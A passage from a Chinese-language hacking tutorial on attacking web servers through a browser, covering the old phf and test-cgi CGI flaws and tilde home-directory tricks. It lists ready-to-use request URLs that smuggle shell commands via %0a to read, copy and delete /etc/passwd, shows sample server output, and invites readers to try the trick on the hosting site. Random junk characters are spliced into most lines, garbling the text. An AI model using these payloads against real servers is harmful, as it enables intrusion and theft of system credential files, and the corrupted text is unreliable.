在本章我將講述一些利用瀏覽器來進(jìn)行攻擊的方法
; a9 ]2 `/ \: ^+ v0 A6 ~! m1。大家都知道了phf攻擊了,phf是cgi script,很多站點(diǎn)都有這個(gè)大漏洞啦,使用
- U6 C/ q! e/ O. c$ r. Q K% qhttp://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那個(gè)站點(diǎn)的passwd.但還有些更好的執(zhí)行方法呦如:
/ N" M7 T' d* L+ Xhttp://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
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me=&Qoffice_phone=
" o; b& K, G$ q, \: Y8 Ihttp://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
: \4 L r3 S8 j* E* Uhaqr&Qemail=&Qnickname=&Qoffice_phone=, M4 K6 l( g$ r6 _
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd0 y* W3 D% m$ c8 e: r2 L3 _
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=% [! {% ]& E& L! d
http://thegnome.com/~someuser/passwd4 c9 P2 n1 {0 ]
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname* _- ~4 x7 \6 b& m3 v
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=haqr&Qemail=&Qnickname=&Qoffice_phone=
" T$ m( b, m) p: w- F: w上面執(zhí)行的命令是
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" z# Q2 {6 f" }, X6 Q3 i) Rls -la ~someuser5 q( r' h# p7 O; }
cp /etc/passwd ~someuser/passwd
3 |" @4 C* u1 Z xrm ~someuser/passwd& S X: b7 x7 H9 W
8 w q9 j9 o2 a, H2。有關(guān)test攻擊
* e J1 |8 w$ O# A1 c, L, hhttp://thegnome.com/cgi-bin/test-cgi?\whatever
( J ~4 F5 f8 |7 H5 J ^ l8 |服務(wù)器會(huì)應(yīng)答,本服務(wù)器的一些情況如:
" F! m0 z% g% d5 j: W# \CGI/1.0 test script report:4 a9 j1 O3 ?, [9 m2 c
3 J0 K% T+ z( i* v: J: S. e% gargc is 0. argv is .
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" C; B1 v/ r# E8 d' }/ j( OSERVER_SOFTWARE = NCSA/1.4B; d# y7 Q& k6 Y6 }8 d: e: f5 x
SERVER_NAME = thegnome.com' y" E- `; @( x+ o9 _+ z% k
GATEWAY_INTERFACE = CGI/1.1
7 S- N* m/ B$ [SERVER_PROTOCOL = HTTP/1.06 K9 E$ U( o; f* w3 g+ P- l: Q( m
SERVER_PORT = 80
& E6 r n: b4 J' |, |REQUEST_METHOD = GET- j" h* B6 K3 R, e3 v |. e
HTTP_ACCEPT = text/plain, application/x-html, application/html,
! X# v$ ~/ t+ ?5 h3 H5 U, ]text/html, text/x-html' Z8 d0 X/ S8 o; {1 E
PATH_INFO =
" |( I; v( {, _4 \, `8 ^: `PATH_TRANSLATED =
, y; e6 i* p: D P' y( O% FSCRIPT_NAME = /cgi-bin/test-cgi& _! v; J: ]4 H4 D/ z4 G7 D2 `/ n# n
QUERY_STRING = whatever
/ r1 u3 P, j6 {2 B: f- v6 PREMOTE_HOST = fifth.column.gov
! b( X2 @" f; L! V- OREMOTE_ADDR = 200.200.200.200
6 W% V9 R* m: i# P# G3 KREMOTE_USER =
4 p" j _5 h5 T/ J8 t. H9 \AUTH_TYPE =8 w3 {1 m s* V, h' X2 |) ?
CONTENT_TYPE =# S9 M; b" q, r J8 c9 C2 k _) _
CONTENT_LENGTH =
5 l, R8 x7 T% E$ M, Z! g
, p# ~/ O; @( y1 W好吧,讓我們來點(diǎn)趕興趣的* f0 i3 o/ P' J" d. f
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd) v' {: n6 g' k6 S; g. @* U
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3。~的應(yīng)用
* |) E: c" K( i" v/ q. Q5 g~主要是用在很多的個(gè)人主頁(yè)上的快捷目錄的方法,如果我們使用這樣的~
8 R7 n1 N0 O9 t5 k Ehttp://thegnome.com/~root8 h; n1 A" G0 Z: y3 b
http://thegnome.com/~root/etc/passwd4 N) g% ~( Q, p" u6 j
不是在任何平臺(tái)上都通過呦,在BSD Apache上曾經(jīng)成功過,當(dāng)然還可以試試~bin ,~etc,~uucp.....
; o& M* w7 @: B) A+ B9 q0 T5 |看到這個(gè)站點(diǎn)了嗎,本站所在的這個(gè)站點(diǎn)就是用這種形式的,如果我們打入 本站所在的web地址/~bin
5 O- O& K- Z+ C- `' T出現(xiàn)了什么,你看到了嗎?然后...............注意請(qǐng)不要破壞( w: M1 B, {, S3 F3 @: e1 _& u% Y
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